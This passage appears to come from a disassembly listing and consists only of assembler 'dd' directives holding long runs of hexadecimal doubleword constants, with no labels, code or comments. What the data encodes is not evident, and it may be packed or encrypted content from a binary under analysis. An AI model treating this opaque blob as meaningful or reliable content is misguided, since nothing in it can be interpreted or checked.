3A80CFD8h, 7100F33Bh, 4CC9D7B2h, 25146B46h, 580098A1h dd 0BF1F1A28h, 0E817B727h, 3D2BE390h, 11E8C15Ah, 820501D8h dd 0E24FCD53h, 20EAB8E9h, 858846B8h, 53124B6Fh, 47004920h dd 0F4437420h, 98048627h, 0F1DD4CDBh, 87040BAh, 0CDEC1C67h dd 44D2D025h, 3BA1E90h, 0DC1B091Fh, 52AC1C04h, 0B0A4C8h dd 30BF4C14h, 0E8D29ED8h, 0EAC9A607h, 28CFEC6Ah, 1C9DB3h dd 0E0095582h, 7A048CF1h, 0EC52C47Dh, 6B3A1CD0h, 9070506Dh dd 15DA01BEh, 23DCDFB4h, 38203C2Bh, 540172C9h, 154021D0h dd 0A3C0D216h, 917E03A7h, 0CDBB43CFh, 0C2C54006h, 5825DCh dd 9ED22D94h, 0C70C01B7h, 808B044Bh, 3157B7C4h, 0EAD8833Eh dd 0E83B2CB0h, 0AA6043A4h, 0C0829FB9h, 6E03AEE7h, 6F54CA01h dd 6D69F85Dh, 9E9CA002h, 3892B78Ch, 4E6260E5h, 75A718DEh dd 0A9BCAF09h, 0E45045E6h, 73BC60BBh, 0D8620031h, 0E65F9B52h dd 0F4A4EAB4h, 3E4820BFh, 4CC90662h, 44222CC7h, 0C5E855F8h dd 3CE69600h, 2DFD14FFh, 8C722DA9h, 90E2284Dh, 1AD511E1h dd 109220D0h, 7780204Ah, 50020621h, 0F8DB9329h, 0C218B8D1h dd 0CB917803h, 4B8CB571h, 0B2E088C0h, 805F633Ch, 0C0AFF9ACh dd 27CC497h, 9C79D174h, 34C2EBE2h, 90DEF81Ah, 416105D4h dd 0ED9FD5F9h, 4A0F07F4h, 0D3B09806h, 2A6E395h, 303E5048h dd 0C087349Bh, 4C5A917Dh, 0BE8C40E5h, 454FD053h, 8924F0D2h dd 88D09D98h, 0B060DE45h, 9D109B3h, 0CED3BB3Ah, 0AA1DDD00h dd 0A4003048h, 0A66121C7h, 98D9F77Ah, 0D5B92D24h, 60048CB7h dd 0D84042F6h, 9B395336h, 0FF1E8A00h, 89D02E32h, 37B717A0h dd 0AE1C004Ch, 0BDBEC467h, 503CE881h, 0DB472413h, 81208F80h dd 6481C21Eh, 0D91CE2DEh, 56E578DCh, 0B88C1C86h, 3054D460h dd 42EE9700h, 0C4C63CE3h, 0EAAAB00h, 7CEF1BF0h, 0E51E1ABBh dd 34C0D858h, 0BD970531h, 352700C8h, 3E3C5CF8h, 5447282Eh dd 8CE36981h, 0D478D37Fh, 18C35BCh, 2B29281Ah, 0F5C2391Eh dd 38B8D051h, 9C637CB6h, 33090196h, 2BDE32D2h, 5AF063F3h dd 4383EC9Bh, 0E2CB559Dh, 0BC69400Bh, 824C01Ah, 14B74AC8h dd 861004ECh, 9C2384Fh, 0FBBCA626h, 2ACAD018h, 0CF3C3A10h dd 0C821A001h, 28E9105Ah, 38530844h, 0D10A98BBh, 0BA04E1DDh dd 4154F62Bh, 52DA50E1h, 86752408h, 98FB18DAh, 7A4ADC67h dd 60C11487h, 2E0357A3h, 0ACED3909h, 1D32C21Eh, 81AE119Ch dd 0C6EB69C1h, 27341CE4h, 6CF28C3Bh, 843C3225h, 0FCA45D24h dd 0F45E262h, 0D071BB20h, 0E6ABD5C0h, 5A008CB7h, 40782576h dd 0EE0535E5h, 0DE423186h, 29AFEDD9h, 60C40428h, 21AA2187h dd 0A44B226Ch, 4674C429h, 0C35B00BAh, 0D3936159h, 5F6702D6h dd 0F301451h, 0B1079040h, 40295D3Ah, 0D6A0B468h, 0EA031372h dd 0AE05FFB5h, 5D5F315h, 0C98AEF21h, 5324C426h, 0E8F8E8BCh dd 249E9545h, 0B87B6402h, 7D56EECFh, 0A8FAF4B0h, 0C7E68B0Eh dd 5A7B676Ah, 0D6ED8600h, 9381C406h, 1053FE53h, 3D913801h dd 5452E896h, 7C6CFE45h, 1D004F46h, 0D5ED9A18h, 0B4136B3Ch dd 0D8CE8286h, 20C9B4C8h, 8D447BF9h, 0D04D06EAh, 70DCA0ACh dd 0FA6AD912h, 89B854E9h, 3772639h, 9193BB4Eh, 433AD0E1h dd 7044480Ch, 0A3CCFC01h, 80D9D2EDh, 0DD64C459h, 4CB07EDCh dd 5CB8ACE9h, 1966C500h, 6469E026h, 4938006Fh, 4C5743A5h dd 0B000B278h, 2E63EE1Dh, 327EF91h, 6DEBA3E0h, 10A66419h dd 0C3594900h, 7C5E0382h, 2FE41DE5h, 21901862h, 0C33F61ABh dd 190209FFh, 0D70FE1h, 1BC05BA9h, 6F47881h, 3D2E0B5h dd 7002102h, 954F2584h, 1DEFC06Ch, 3046A4A8h, 0CC5AEBA9h dd 0A33A2703h, 0D8C786ACh, 5D1E1h, 7D1E9F57h, 0A5586F47h dd 9D498900h, 8196181Bh, 0E0B614F9h, 878034D7h, 94954C25h dd 1322C143h, 27CF5900h, 0C6E3771h, 19106005h, 0CA4DB762h dd 83E17000h, 0C1A32F7Dh, 236E3FB2h, 1194F968h, 0C3568054h dd 0F586038Dh, 0A0884D0Ch, 0CAC3005Eh, 196578D5h, 0DF3CD8D0h dd 9B4D0158h, 6AEBBE3Bh, 84C2848h, 0F60387C3h, 0A24095C4h dd 1D8BC354h, 0F11C100h, 18E72598h, 28890A67h, 81E882CAh dd 38640B69h, 832A88Eh, 220C6A49h, 6C310017h, 0CB185938h dd 0C0007B7Eh, 84033612h, 0A5BD1ACFh, 6191644Ch, 0E8FBC573h dd 1C11E81h, 259AD69Dh, 0BE666411h, 7A750329h, 0B5A39949h dd 0E696D840h, 0C0180515h, 1DD39411h, 0B0189822h, 91B12B3Dh dd 7E410056h, 49C8D7C1h, 1C1F97DEh, 0AD49A514h, 0E4080148h dd 0F1C05EF7h, 89A80C67h, 2E18922Dh, 971C40A0h, 0E5063B77h dd 7B49A9ECh, 178E0320h, 67F02705h, 0E78928F8h, 10114E35h dd 65934000h, 0C0FB385Bh, 0D2C027A0h, 8E0650B0h, 76020FA0h dd 6ADE3709h, 0B0DAB020h, 8902C74Ah, 23651A8Fh, 8ACCA0F1h dd 9EB450h, 97558044h, 1CFE360Dh, 0F909A901h, 61222599h dd 8C6E0C20h, 83C35802h, 167C5603h, 0C360A600h, 0ED629EDh dd 1C6600C0h, 4AAF2EC1h, 466C7B37h, 0FBB51681h, 8001CC55h dd 4E9189ABh, 74728445h dd 0C3533077h, 2E1DC808h, 544E6462h, 0F3C338FDh, 1103BF90h dd 1968B32Ah, 28210061h, 0CFD44D80h, 8A077554h, 0FE37BBFFh dd 92C3A850h, 0B0555665h, 0A2B08807h, 0C2C43889h, 0DED0BE47h dd 10DDECE3h, 6F37FDF8h, 2B08F502h, 0E2F40302h, 401CA3B8h dd 39A9B8Ch, 0D0329FE0h, 6900F735h, 80361F3h, 0E8F6FA77h dd 74FD488Ah, 0E1F13E01h, 22BE497Bh, 3090F2F8h, 5376E273h dd 2E24CFE8h, 42024817h, 90E9ACh, 37D37E96h, 0EAD27814h dd 1E39DB8h, 1C99C352h, 97F85866h, 35AA488h, 73247DC3h dd 0D140FF85h, 48C61A4h, 8E66B08Ch, 14F563D0h, 0B4D4BA21h dd 16F77306h, 82ECA861h, 8564310Ah, 3904A79Bh, 4C80F321h dd 26981E05h, 8798CCA5h, 0B4337CB9h, 2FDC9114h, 0EAF0EBA1h dd 0C53CC939h, 0EE2A8247h, 0AA576412h, 465C6C74h, 6D6A004Dh dd 8548BBBDh, 7E8C038Fh, 0E1713903h, 8A019804h, 0A4852943h dd 97235C3Ah, 3DD16500h, 0C9FF559Bh, 0A8848E49h, 3BA060CEh dd 0B4A2108Ah, 9E1EC8C4h, 0D4384065h, 4A72367Bh, 208161C6h dd 11800021h, 410FA1B8h, 8D7146C7h, 4AEE88B0h, 0CB9C8800h dd 7D2F89C8h, 4CC4A01Ch, 238017Bh, 76AD33ABh, 9A488523h dd 0B84717A5h, 0BAF47580h, 0BD3CA481h, 0CBB8A9B2h, 8386530h dd 0C56CA28Dh, 30401564h, 61BA386Dh, 1F898D1Fh, 0A0400D93h dd 0A11D80E8h, 0B4F55069h, 650616A6h, 165C1F4Ah, 0D9BC08D2h dd 5227C9C0h, 46A42195h, 67001091h, 0C8C227B1h, 0BD039CA0h dd 0F6E73C6Dh, 1A700675h, 0C0484933h, 6B2DB546h, 0BC8A915Ah dd 2E0770CEh, 5A453853h, 7D947FE1h, 21D81F4h, 1E91C9B0h dd 20E353AAh, 2F71A180h, 18106159h, 1CB81FDBh, 0A0814883h dd 8DC35AC8h, 0D88ED1B0h, 68400C18h, 0B0D500B1h, 0E410A94h dd 98546011h, 850089FCh, 0F9FC3E9Dh, 0EC8B70C2h, 0D3910F29h dd 9BE999A2h, 69840481h, 6448CAA5h, 0C0997211h, 0C9491C1Eh dd 89D4A4DAh, 506A6888h, 0F0B41835h, 7BC0ACDBh, 95583E83h dd 2B22C6h, 0D27CB5Dh, 65E7BE82h, 4A114009h, 0BDA0222Dh dd 0FC972937h, 5F804D11h, 0BB1CF776h, 0F30B8904h, 58903C88h dd 0AC2F69h, 52DC189Eh, 0EEAB0743h, 395B421Dh, 0C66A5C01h dd 894035F6h, 26D3A8F0h, 74642DBFh, 64910D90h, 0D0CFC180h dd 24D81585h, 251F18h, 11EE991Eh, 3F142594h, 88F46C74h dd 0B08FC060h, 88468E6Bh, 0BB010A22h, 0E37EB0D7h, 0D9801D23h dd 0E924F7D1h, 19E06614h, 3CFE4Ch, 0D3493935h, 139599F1h dd 0B22EB75h, 48103C28h, 0E300B79Dh, 0BE86CF7Ch, 129BC3BDh dd 57EE3D31h, 0D09C0878h, 592582C0h, 0C19C2195h, 44002F91h dd 568927CAh, 3A329236h, 4137D2BAh, 9E18D4D0h, 95552608h dd 402CC4BCh, 4B268668h, 748300BFh, 8BDA55F2h, 813E5396h dd 0CEC1E03Ch, 2C776Fh, 0D261E515h, 0E6895B23h, 27B5AC1Eh dd 7C002896h, 6591516Ch, 0CC234C53h, 4DC06988h, 0FD0386C3h dd 104819EAh, 48C355A7h, 5C00471Ch, 623DDB74h, 0AD00B83Ah dd 25BAC580h, 487C32C1h, 1F090C68h, 0EC021671h, 0F840789Bh dd 0F4A7B703h, 0C1610944h, 64AEF8E3h, 372B9F0Ch, 221C48CAh dd 2AEAE49Eh, 18D43235h, 3381330Eh, 386F5830h, 5CA210B3h dd 8018C8C5h, 8A38772Ah, 0D2009516h, 0E65E739Fh, 0ECA6D02h dd 99A6EBD1h, 18230681h, 0F18C7293h, 1D0C6809h, 931C150Bh dd 42EC00DAh, 1367F02Ch, 0FE5C070h, 0ED803A80h, 6E26BA9Bh dd 7178AB12h, 73C844CBh, 0F0D5CFC3h, 439B8F9h, 0F32D95E1h dd 4024C9BAh, 0B19E7C64h, 84D4F058h, 1E011673h, 34FFCDC1h dd 0C484717Ch, 0F73918h, 3F0C4D9Bh, 0D9ECB113h, 10E1873h dd 7E50984Ah, 4835920Bh, 3760EF94h, 1E7DE642h, 65731DCDh dd 980B0C3Eh, 0BCB248A8h, 1271E771h, 0D3C9A0A3h, 3FC442FDh dd 8D279848h, 7A2606EEh, 0B4133005h, 5BC0789Ah, 0F454D44Eh dd 70147F70h, 1330821Ch, 1C271AF7h, 83FB9DC2h, 0C1ECF20Ch dd 87E2D72Dh, 90BB59B8h, 81F1BB10h, 0F21062B5h, 29403010h dd 55665C09h, 7C7901ABh, 0A430F6B8h, 0CCFA5075h, 500BFC95h dd 30E4E427h, 607128D0h, 81EF7F7Ah, 37D89E18h, 0FC753965h dd 0B8A72C33h, 0D91D66C0h, 92960268h, 4CAC170h, 9AE18C40h dd 4C446F3Ah, 8C10F898h, 0F04F7D00h, 9E882577h, 0EDEC042Bh dd 0B3EA2A29h, 3095B280h, 34A8B04h, 54A38840h, 5998B7h dd 8D55014Ah, 46782AF7h, 141AF415h, 0C00226ECh, 5A62840h dd 748700F7h, 50CCF956h, 40004166h, 0EE16F899h, 4A3E4691h dd 0D9C80155h, 21D1D665h, 0E4540090h, 7B06AFCCh, 823F20A5h dd 0DCB09419h, 9E84CE03h, 0FF4C7C39h, 656760AEh, 0B8C3FD36h dd 93C00E4Ch, 11782FFh, 0B3E61E4h, 4489AE66h, 6E80B011h dd 44A28C38h, 2B14448Ch, 57387600h, 6EB74A8Bh, 0E9E1179Dh dd 44941F61h, 0C002EC45h, 39C84C0h, 582EBD5Ah, 0C1014D23h dd 0F4175120h, 86BCC0h, 0CA6A87F0h, 0C27430E0h, 712CE448h dd 0C4A0A586h, 6C196114h, 74754060h, 52A0077h, 956987E8h dd 789AFDD5h, 667321h, 8ACAB77Dh, 6207C285h, 91AB3D81h dd 54E25B84h, 780D1400h, 6DBF5233h, 0E400F17Eh, 0C59D3CCDh dd 1573B8F4h, 0F08E096Ah, 39F22018h, 0AFF8A460h, 79972900h dd 3BD0C2B1h, 9D183028h, 8D65DB81h, 9A4F2C01h, 9548F3E9h dd 403FF020h, 5018A21h, 9E7A2957h, 503CE4D1h, 97B8E8D4h dd 6DC00A8Eh, 21C7D37h, 0F145A11Ch, 1F2D2C68h, 139A2440h dd 0CB92D035h, 0C0C388BCh, 0D763CC80h, 613BF214h, 147B4CACh dd 0D2EC1A39h, 29C85C8Ah, 0D17D88C0h, 0DDB31E1Fh, 0B497A518h dd 27961491h, 3D7702FCh, 6170D873h, 22E7108Eh, 0EE48121Eh dd 300F06Fh, 709BF005h, 7401214Eh, 0C11C1E77h, 3E01DAF5h dd 0DA51A6FEh, 0BA63FC02h, 9A8E0B9h, 0EE1E8068h, 0D794300h dd 0B54690C8h, 474D038Bh, 62161DB1h, 29AAE1F8h, 0EC09A0B0h dd 46AB589h, 9CC819E8h, 0CB4C0082h, 0C37CBE09h, 0C0001CC7h dd 6DEC3637h, 5E29BCEh, 5B6A0DDCh, 8F7482BFh, 0A720DCD3h dd 0DC202C5Ah, 431952F7h, 0E82B4AF1h, 0C269F510h, 67BA0410h dd 60194460h, 0AD4B21h, 4FF0C96Ch, 0B79F2F4h, 709A960Bh dd 0D9CC1A3Fh, 18265958h, 78DB70A6h, 5EAE0DEh, 0E5E1A531h dd 70840F63h, 48881F00h, 8D2EC11Dh, 84146409h, 0F8004CE0h dd 38008CCDh, 33F28E8Ah, 1A9F9D7h, 0AB2573F0h, 844429C1h dd 0EE3C3678h, 2588A88Eh, 0BE31ABC0h, 90671CCh, 0DD710362h dd 2FB81440h, 0D8020524h, 0F860AD43h, 6EF69Ch, 0B14B0C12h dd 9994ED20h, 84886260h, 0E695D37Dh, 4F209A6Fh, 0E06ED1h dd 71BA67E7h, 208483Ah, 9E1F52D0h, 1C7164F2h, 0FD60B4DBh dd 0A872891Ch, 0B07F0130h, 9EA6F1D0h, 6851244h, 89275373h dd 1DC2894h, 73D2B35h, 0CC4421F2h, 3006A887h, 28AAE5F9h dd 405E46B8h, 0B8E6A1FDh, 0A5C21099h, 0B51040D1h, 17040055h dd 0EF5F143h, 66002E0Ah, 0A87296F3h, 150DA3D8h, 9062981Fh dd 0EC017058h, 74337CBAh, 0A1A864DCh, 0F0C2FCA8h, 292FFD02h dd 0F0E517E7h, 23990B0h, 8B108DE2h, 90A04DC5h, 0EABDAC27h dd 35B9302h, 60EF8F6Ah, 9EBFA800h, 0D0988FDCh, 142E93B0h dd 0D11CC223h, 0A1C88ACEh, 32AF8455h, 0BC1E23FCh, 45C1421Ch dd 40247002h, 809A75B8h, 262DF1D8h, 0C3940015h, 0BE880C73h dd 13465CC0h, 8360C100h dd 821CF7EDh, 73C1FA60h, 9215096Eh, 0F0B0080h, 0D4C80626h dd 0C21CBCD1h, 9D892171h, 0EFD481DBh, 2460A15Dh, 47F288FDh dd 0B049BD00h, 0ED4D2439h, 0E0070F7Ah, 0F126030Ah, 0A13F38D7h dd 1788AD73h, 801211B8h, 1CE3F27Eh, 9882482Bh, 0D1AE5901h dd 51CEC8F1h, 32C16A8Ch, 613110F8h, 42E0F70Dh, 0C9884169h dd 0E7E40049h, 809D8A5Eh, 88811E11h, 2D55274Fh, 0D42F5F88h dd 0C8004C23h, 0A5695093h, 3D34B397h, 70186BDAh, 0C1035F13h dd 0A0B62C90h, 0BD3626E7h, 0F7268174h, 8128ABE5h, 0A9C170C8h dd 702D1B7Ch, 9640F33Eh, 10832D13h, 956A6C05h, 0F83F200Ah dd 0A0885C40h, 32B887h, 0BC4090A7h, 9D311CE9h, 6437AB09h dd 716C621Fh, 189579C4h, 0A1031FE1h, 0F479F2F5h, 2F0E5B20h dd 98C4872h, 0BB5DB300h, 0CE9E9F7Bh, 0B1FE170Eh, 725E80AFh dd 0AA52711Fh, 38B7F0h, 98721870h, 37278105h, 3918907Eh dd 0B00E501Dh, 0E49F0169h, 8AE73E04h, 4C452E33h, 18217D12h dd 1000ADDh, 0E57B2916h, 0C0D42A28h, 9F463521h, 9E09A085h dd 942A32Dh, 823C012Ch, 0E900675Ch, 30FFA519h, 0C11BA864h dd 17409C05h, 0D31A01F0h, 190789FCh, 446F6B3Ch, 5C03A032h dd 0E8C98E48h, 5E96F860h, 63007FC8h, 8FD1707Dh, 34AA5B6h dd 114ED5DAh, 0D65C4D9Fh, 1C2A4CCCh, 0D640EA10h, 0B81FF337h dd 0E0540027h, 0BF66B1DFh, 5B0190B6h, 311E9D84h, 1880A8B2h dd 7B4EE91Bh, 5248CEAh, 0A2417097h, 805091A9h, 0D07EE772h dd 0CF23D8C1h, 623BA10Fh, 19C54CA2h, 38302F1Fh, 339CBAFEh dd 2A504C55h, 26C85A9Bh, 0B8048F34h, 38F2C9A1h, 0A4A90CA0h dd 549358BCh, 684309BCh, 0FBD31F02h, 0BCB215C8h, 1DC8856h dd 6BE3B227h, 0EE576535h, 8C04FC62h, 0E8461660h, 4A1F1DEh dd 8B48DBE0h, 8474D011h, 84B92D21h, 60DB2712h, 0C4034C89h dd 40B823CBh, 1498E62Bh, 58D46A70h, 97A11034h, 0CF92AC95h dd 0A04380B8h, 793F6447h, 0A46E00C7h, 0CB5B5C3Eh, 0A1014D5Dh dd 0C490672h, 11805F81h, 12E86B38h, 450CCDF2h, 885EA57h dd 204C6035h, 3CE89323h, 0FB3FA500h, 3018D9A8h, 0EB5B03A7h dd 642D71BFh, 4D5872F0h, 0A02E4100h, 3CFDDA6Eh, 1D221D48h dd 7356083Dh, 0A0266600h, 1DEE872h, 606EE161h, 0E05B5D5Fh dd 9CB0F6E5h, 0FA0F6200h, 9C376DDBh, 77D5005Ch, 0B6E8157Fh dd 690C6512h, 506C3A47h, 6F8B0FA1h, 0C03FFF97h, 0FC51BCB3h dd 52009E3Bh, 0B8180A36h, 0A2CAC0h, 55B2ABA3h, 399D5905h dd 40C05774h, 0A073152h, 281C0CE4h, 6509F1A5h, 293261C0h dd 3E3B2207h, 4E008AA4h, 1193D10Eh, 0E3000C6Ch, 0FA9A95DEh dd 1C6A6282h, 475D1C22h, 0A019AF8Ch, 49812BA1h, 2D58A4A0h dd 0F7961000h, 5D3D0DE2h, 37653ACAh, 88213330h, 82009618h dd 61DAC2C3h, 55847795h, 80EAD46Bh, 92CE1CA5h, 91240768h dd 0AE143945h, 59037EE0h, 0C200E46Dh, 0DEC110F3h, 0A14B72CDh dd 0E0DC6AA8h, 5161398Dh, 0A5E12900h, 2F949B36h, 0C9163D07h dd 0B240E733h, 0F2EE57FCh, 0A938DC48h, 18305960h, 36980069h dd 1A84994Dh, 64242EBEh, 9B87004Fh, 5C07C03h, 140C037h dd 0EC1845F4h, 0EFF5D7CEh, 0F7D38298h, 0A8F0348h, 0F85F36DEh dd 0CE0DA0Fh, 64A4C05Ch, 824D714Ah, 35302E40h, 0DA6F08A0h dd 55643D25h, 0A02D6740h, 1C489CCCh, 62029F88h, 406B88CEh dd 12996444h, 429D255Ch, 9B590400h, 0F704184Ch, 2CE41008h dd 0E72E7362h, 0DED4072Fh, 0F893E5C1h, 0CEC09DF9h, 0C0A46AB5h dd 0C77934BDh, 90DA97BBh, 71A5EC06h, 0CF954003h, 485A3A33h dd 0FC075771h, 6F79FA8Eh, 26108C15h, 2F804027h, 0A034048Ch dd 622DDA70h, 2C68204Fh, 0D203BBA0h, 0ED6F03B1h, 2BCAA05Dh dd 1DE18D1h, 0C1F62958h, 5BA6A20Eh, 26720014h, 7D23415Dh dd 5E670050h, 0F9E7DBB1h, 2C9BD104h, 6D801611h, 7DF1F8E8h dd 2171608Ch, 1CE8951Dh, 190C2798h, 0C80C6B93h, 17980989h dd 3C10E082h, 0E84C036Ch, 24BEDC10h, 0EC04C25h, 21E2F596h dd 599135BDh, 96168600h, 0B5A304B7h, 481FED3Ch, 0EC942B98h dd 508FC00h, 86A5D4E4h, 1F7044h, 0F9840734h, 0DC039580h dd 8120693Ah, 76E06CF4h, 2020653Ch, 482900A0h, 1BFC34BAh dd 0E94CF713h, 0B3821D1Ch, 0CDD9F3C1h, 7434435Eh, 882C149Eh dd 0A040E44Bh, 94048C11h, 85F229E8h, 9C001838h, 97DB74E8h dd 99BF3E9h, 0BA8D529h, 67901003h, 95E49006h, 777042BAh dd 9C81009Dh, 5CD9F54Ah, 0CD12F829h, 4C1E2835h, 3B96D704h dd 0AC3A2C85h, 6B005023h, 8777E8B6h, 0F33E1C56h, 904468DEh dd 29746BCh, 0E40408FBh, 66B8B10Ch, 7332010h, 39854116h dd 88254440h, 3CD749A0h, 0CF81E730h, 0DF0DF1ACh, 791B30E0h dd 2372F0A1h, 9823DCh, 0E41108F8h, 8085A5F4h, 5707301Bh dd 6504E86Ch, 0DA2C9108h, 0F40014DDh, 995C48ECh, 0D944BC14h dd 0F516DD16h, 0E0F80418h, 4B5C452Ah, 0C9658834h, 46D00B03h dd 42787950h, 9609028Ch, 3765E130h, 8D102E19h, 87009611h dd 97493ACh, 0DA626FBh, 0D0E02DEAh, 9F8056Ah, 0AB0234FCh dd 8847874Ch, 8E606D44h, 1E00B13Fh, 0D820814Bh, 2A6B6C26h dd 90AC5BE2h, 434920DCh, 3B236006h, 0C8408F1Ah, 2C09A70h dd 24E40B08h, 58082824h, 707FA31h, 7FA9DEDBh, 88602C85h dd 10F6960Fh, 0C83D15E2h, 178B8054h, 0A6F49896h, 46885116h dd 30322062h, 6B119FF9h, 568805DAh, 0A02F1B80h, 77970A7Eh dd 5E47F0Fh, 0E712339Bh, 234C2ED7h, 7B90033h, 0AF0686E4h dd 0DDE92A04h, 0D8855912h, 16F3849h, 0DE6C43A0h, 55DA5C40h dd 7637093Dh, 3412348Ch, 31448C47h, 0E2481260h, 4D0BE803h dd 99B19D60h, 0DC23646Eh, 60305864h, 23FA9603h, 5711B5E2h dd 960B8700h, 0E81A4D14h, 3911DD00h, 6E426267h, 0B04B6004h dd 364698DCh, 0DA95DF09h, 0D950AD4Eh, 80FE9C61h, 70B19FDh dd 0D174B149h, 0AC184Eh, 0E7553187h, 81C6DD33h, 9B043570h dd 6679845Fh, 2F9EEC90h, 0E46100F7h, 498BC622h, 0FAE8E124h dd 74CB4C0Ch, 1B035h, 6BBC14EAh, 70B6C519h, 0DE476807h dd 58B3B0B8h, 0BA82661h, 0E86EC0E0h, 7546F1F7h, 4C4210h dd 0CE89622h, 0EC5CE011h, 2D4B5827h, 70B8505Ch, 0CAC058Ch dd 40610108h, 482C8780h, 500B435h, 0EFA413DBh, 194CAF2h dd 1F11EAD2h, 5C9212h, 7324B58h, 28B1CD65h, 0CEC9F009h dd 230F8377h, 0EADD72E6h, 206D055h, 4C98596Eh, 2D80B439h dd 86E7FEEAh, 5C476F2Eh, 76E69A60h, 0F14C0052h, 8EDEB911h dd 30246ECBh, 0C30C2C59h, 13672863h, 3EA2D7E2h, 562374h dd 1BE4E1FDh, 5004C4B3h, 5C8EE5DAh, 0AACEA093h, 0F2E08141h dd 698E4A7Fh, 52A02267h, 6BB460EAh, 71E3C613h, 30F90822h dd 0DAECA02Ah, 4B221D46h, 0E2A06AA0h, 0E044D202h, 8C8D4F0Eh dd 0EDDCD884h, 300DA9ACh, 0D2241631h, 66B5F700h, 4BE80EA9h dd 0E0670272h, 8002FB8Bh, 5091449Dh, 0E62B17C0h, 0F90030C7h dd 3827049Bh, 0B35B598Fh, 5CF4248Ch, 2E016F46h, 3A8B405Ah dd 4399735h, 0A400A06Eh, 22E3B10Dh, 3174EAC2h, 4E8FAA12h dd 0ADC6EC83h, 0D064A052h, 4FB230B2h, 1C02F430h, 1D9081F5h dd 0DD0C80B7h, 0A2AEE608h, 48703A5Ch, 8C4FE8FCh, 941F9F74h dd 5E018C98h, 5FDC5CF9h, 0F8088054h, 94CD8049h, 0E45C09C5h dd 28E98A07h, 4D7257A4h dd 913C95C0h, 0D7258049h, 708C45DAh, 0F0E52436h, 4E467410h dd 0AAF55705h, 3EB28137h, 70BCF108h, 2C174ED1h, 680C5C97h dd 985D131h, 689AD75Bh, 0CDA87480h, 0D4A06241h, 212A5CE9h dd 794AEC67h, 54164840h, 768A73Ch, 0E45D7476h, 5CDA9399h dd 47C42140h, 7FE93213h, 0A9C38C9Ah, 0AEE023FDh, 41058927h dd 59E30EE8h, 8404E801h, 442C4597h, 4C4335ECh, 3D82303Ah dd 2492F5FCh, 1CE97B60h, 0CCB4B313h, 82490F1Ch, 8010B77Ah dd 0F9C8FA7Dh, 9814E06Eh, 7BA453C9h, 0E8707B48h, 3E028C4Bh dd 0B76C2D5Eh, 9618C189h, 809F618h, 4504E40Fh, 2E1580ACh dd 0E794B107h, 6E030E14h, 646F24F0h, 0F49C2Eh, 0A09B237Ah dd 0E9D0E7F6h, 0D3821200h, 9FDE04F8h, 79EC997Fh, 3A661833h dd 9B00BC0Dh, 0CDE3A6F6h, 0A804E46h, 0F256263Ah, 0C06A1818h dd 6D2598DAh, 0F46C0032h, 0B9AFF87h, 0B13E6CA3h, 5511CC9Dh dd 5C496680h, 0D815AAC7h, 88613Ah, 234F577Ch, 259C2868h dd 10A08117h, 3C2E04BBh, 3090A248h, 6BF83159h, 310F123Ah dd 237C3AF0h, 5C0A0059h, 0B75B8A6Ch, 0E781649h, 0D899D5A2h dd 42FE0F1h, 0F322ED73h, 0A290E382h, 4F03356h, 0D30E0DBh dd 2BCA592Eh, 0B9CC1705h, 959C0FA1h, 0C8087FE6h, 4022F46h dd 0ADE2FB96h, 84003094h, 74B8960Ch, 1657D054h, 9079AF66h dd 0D2581A6Ch, 36F46700h, 2F0C4F3Fh, 7CC8024Eh, 0E4833AA9h dd 0F00D852h, 6BCEA462h, 0E9FF04h, 14EFA703h, 97DC5469h dd 65C1CB2h, 436DBCC4h, 6B7B0D4Dh, 54F069E0h, 7FB029D1h dd 183279A4h, 255A1764h, 0F87E144Fh, 12379D10h, 0E8C84397h dd 0A048C41h, 1DE20196h, 8A07048Eh, 0B9719612h, 0CC424468h dd 835A3Dh, 160A33E4h, 0A82195h, 0A72ED1C7h, 0EE0B2064h dd 0DD208C90h, 0E0FC0146h, 29FDF29h, 0F3498054h, 1CC252EFh dd 94400026h, 0F8DFB32h, 0A909A534h, 9704A601h, 806E9130h dd 1B1A63E7h, 0F4D8F54Fh, 0CDE41D14h, 5E0E4CAh, 0E27C2C67h dd 4D6DF144h, 4716910Ch, 806EC014h, 0A1F52400h, 13672A64h dd 225CE802h, 737288DEh, 0EF947004h, 7A0B8C90h, 90E482C3h dd 337E05Ch, 0D95CB13Fh, 0C0466A21h, 297CF0A4h, 0E3EFAB7h dd 0F1D68E1Eh, 2F01EA0Fh, 3C44A258h, 8C31F810h, 787EA5E8h dd 8B0FC100h, 0A29D6D89h, 3ACD20EDh, 0E2C8FB00h, 0F0F9E771h dd 0C76B15A9h, 0A059905Ah, 0B900CABCh, 0AE923FF0h, 2189C25h dd 0E302D503h, 48C0B4DDh, 2B807237h, 5448BA9Dh, 125788E2h dd 145F22EEh, 0A2CF8420h, 674BF883h, 0DAC10DD8h, 0AE1EF200h dd 4CCC195Ch, 0AF2501EFh, 81C648F5h, 0F00B10A5h, 98C00165h dd 0F295DE10h, 40588544h, 54A203E8h, 663065E2h, 3815188Ah dd 0DB5C9859h, 20BC2676h, 6D4676h, 5E87050Dh, 963931h dd 3352E843h, 36E0CEE1h, 0F95B5C00h, 7A32B46Bh, 909262h dd 0EFECB1A0h, 97BC6441h, 8CEBF12Eh, 0A4C4B08h, 37A15B2Fh dd 17AF089h, 394C81C5h, 91B1137Dh, 0D1DDD820h, 0BC27008Eh dd 0F3DC2DF0h, 0DFE2D7E9h, 8CED7B00h, 7F45DDA6h, 486E1843h dd 9FE49038h, 0DE89E000h, 4427058Fh, 725D675Eh, 0A958575Ah dd 6F918017h, 53AA6C81h, 2A080F0h, 4E9834CAh, 59249CC9h dd 0D403DDDh, 81386E60h, 0F996DEDCh, 887C8C61h, 0CE196B32h dd 925F0210h, 918B0028h, 10B1548Ah, 2DB8206Ch, 3FDDCE12h dd 7F14BC02h, 4B8C508Dh, 2824484Ch, 0D1A02BC3h, 0D42C15DAh dd 0A04361B0h, 2B907DECh, 0DB2EA00h, 0D86EE18Eh, 398C764h dd 8D39A091h, 543EE5C9h, 0F1F054DEh, 6F46AE12h, 0EDF29002h dd 13C850FDh, 60184907h, 2EE86FA4h, 0C06DF221h, 9DE8971Fh dd 66DD510Ch, 9439506Ch, 92C98010h, 415BCBC8h, 819A500h dd 8FF3837Dh, 78E101EFh, 0C3E3FDEAh, 72BC5084h, 59073D80h dd 0E921BF0Fh, 1967C6h, 0A8884B57h, 0EB7610DEh, 0C3B79200h dd 0B4FC9C12h, 67720452h, 0A82FEDE3h, 7D5F8110h, 2EC8E695h dd 0B9FA56h, 8BF6A33Ch, 0B6DDF00Eh, 0A4E2822Ch, 0C8D64240h dd 0F89CA062h, 0C084AD06h, 1ADEF25Fh, 2226740h, 0FB88059Ah dd 50C50704h, 1B4C42E2h, 0CF4BC0B5h, 644A229Ch, 